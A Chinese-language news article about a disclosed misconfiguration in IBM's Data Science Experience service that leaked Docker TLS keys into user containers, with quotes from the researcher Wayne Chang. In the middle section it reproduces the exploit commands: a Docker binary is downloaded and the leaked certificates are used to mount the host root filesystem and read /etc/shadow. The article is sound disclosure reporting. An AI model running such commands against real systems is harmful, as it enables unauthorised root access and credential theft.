IBM 居然把私有的 Docker Swarm 密钥泄露给了公共容器

巨人也会犯大错误:IBM不小心将数据科学服务器的root访问权授予了用户!

IBM居然将私有密钥泄露给了随手可得的容器里面的数据科学体验(Data Science Experience)服务中的Docker主机环境。

这有可能将访问托管容器的底层机器的root访问权授予云服务的用户,进而可能访问蓝色巨人的Spark计算集群中的其他机器。实际上,蓝色巨人将可能指挥和控制其服务的众多计算机需要的钥匙公然交给了云服务。

IBM在今年1月31日搞了一次以数据科学技术为主题的活动,技术顾问Wayne Chang密切关注此活动后,发现了权限升级这个缺陷,并在第二天就报告给了蓝色巨人。

两星期后的2月15日――这段时间在安全漏洞披露领域可以说非常短,IBM纠正了错误。

Chang在周二发表的一篇博文(https://wycd.net/posts/2017-02-21-ibm-whole-cluster-privilege-escalation-disclosure.html)中表示,他在注册免费演示版试用服务后发现了这个缺陷。

Chang写道:“这是一个配置不当的安全漏洞,后果非常严重。简而言之,IBM任由所有的Docker TLS密钥留在容器里面,这道理就跟任由牢房的钥匙留在牢房里面一样。”

Docker TLS密钥用于为Docker Swarm主机API确保安全。

Chang表示,通过IBM提供的RStudio Web Environment,钻这个安全漏洞的空子只需要下载和提取Docker……

system(“wget https://test.docker.com/builds/Linux/x86_64/docker-1.13.1-rc1.tgz”)

system(“tar -xvzf docker*.tgz”)

然后,使用Docker二进制代码以及其证书,即可使用卷挂载,获得相当于主机root访问权的权限:

system(“DOCKER_API_VERSION=1.22 ./docker/docker -H 172.17.0.1 \

–tlscacert /certs/ca.pem –tlscert /certs/cert.pem \

–tlskey /certs/key.pem \

run -v /:/host debian cat /host/etc/shadow”)

如果有人钻了该缺陷的空子,IBM的客户数据就可能岌岌可危。

Chang已建议,IBM应该对其安全架构进行诸多改进。他还建议,IBM应该为所有受影响的机器重新创建镜像,以防有人早先发现了这个缺陷,并安装了rootkit或其他恶意软件。

IBM没有立即回应置评请求。

Chang在一封写给英国IT网站The Register的电子邮件中表示,他认为可以安全、可靠地实施Docker和容器,这些技术有望增强安全性。但是他责备IBM没有发现这个缺陷。

Chang说:“我认为,IBM已经拥有一些出色的信息安全人员,而且真正致力于保护其服务;说到底,这个问题关乎向整个企业组织灌输安全文化和流程。话虽如此,凡是自身产品允许用户运行不可信代码的公司都应该认真仔细地考虑系统架构。”

Chang表示,由于许多公司竞相开发新技术,安全常常是事后才想到的环节。

Chang说:“这倒不是暗示容器设计得很差劲(我不这么认为),主要是容器是新技术,所以其使用方面的最佳实践仍在积极完善中。”

“不妨比较一下更新款式的桌锯和几十年前的桌锯:由于文化和标准不断完善,加上认识加深,新桌锯配备了大量的安全装置,包括紧急停止装置、劈刀和推杆等。”

巧合的是,最近推出的Docker Datacenter包括了密钥连同容器如何加以管理方面的一些改进。

K8S中文社区微信公众号
分享到:更多 ()